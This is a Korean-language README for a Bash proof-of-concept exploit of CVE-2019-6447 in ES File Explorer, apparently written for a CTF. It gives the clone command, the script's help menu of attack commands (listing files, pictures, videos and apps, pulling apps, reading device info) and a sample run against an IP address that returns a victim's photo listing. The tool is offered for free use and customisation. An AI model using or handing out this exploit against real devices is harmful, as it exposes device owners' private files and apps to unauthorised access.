
Bash PoC 스크립트로, ES 파일 탐색기의 CVE-2019-6447 취약점을 악용하여 취약한 Android 기기에서 파일, 사진, 동영상, 앱을 나열하고 파일을 다운로드합니다.

이것은 CVE-2019-6447 PoC를 bash로 구현한 매우 간단한 스크립트입니다. 기본적으로 curl을 사용하여 올바른 매개변수로 요청을 보냅니다. CTF 중에 비슷한 스크립트를 찾고 있었지만 찾을 수 없어서 직접 만들었습니다. 원본 스크립트를 자유롭게 변형하고 원하는 대로 커스터마이즈할 수 있습니다.
저장소를 클론하고 .sh 파일을 사용하기만 하면 됩니다.
git clone [email protected]:julio-cfa/POC-ES-File-Explorer-CVE-2019-6447.git
또는 원본 콘텐츠를 복사하여 파일에 붙여넣기만 하면 됩니다.
kyoto :: ~ % ./ESExplorerExploit.sh -h
--- This is a very simple PoC of the ES File Explorer CVE-2019-6447 ---
You can try the following commands:
listFiles List all files
listPics List all pictures
listVideos List all videos
listAudios List all audios
listApps List all applications installed
listAppsSystem List system apps
listAppsPhone List communication related applications
listAppsSdcard List the apps installed on the sd card
listAppsAll List all applications
getAppThumbnail List icons for the specified application
appLaunch Start the developed application
appPull Download an application from your device
getDeviceInfo Get system information
Usage example: ./ESExplorerExploit.sh 10.10.10.247 sdcard listFiles
kyoto :: ~ % ./ESExplorerExploit.sh 10.10.10.247 sdcard/DCIM listFiles
[
{"name":"example1.jpg", "time":"4/21/21 02:38:08 AM", "type":"file", "size":"135.33 KB (138,573 Bytes)", },
{"name":"example2.png", "time":"4/21/21 02:37:50 AM", "type":"file", "size":"6.24 KB (6,392 Bytes)", },
{"name":"example3.jpg", "time":"4/21/21 02:38:18 AM", "type":"file", "size":"1.14 MB (1,200,401 Bytes)", },
{"name":"example4.png", "time":"4/21/21 02:37:21 AM", "type":"file", "size":"124.88 KB (127,876 Bytes)", }
]
이 익스플로잇이 내부적으로 어떻게 동작하는지 궁금하거나, 동작하지 않아서 직접 스크립트를 작성해야 하는 경우 다음 링크를 읽어보세요:
https://packetstormsecurity.com/files/163303/ES-File-Explorer-4.1.9.7.4-Arbitrary-File-Read.html
https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
https://www.safe.security/assets/img/research-paper/pdf/es-file-explorer-vulnerability.pdf
https://medium.com/@knownsec404team/analysis-of-es-file-explorer-security-vulnerability-cve-2019-6447-7f34407ed566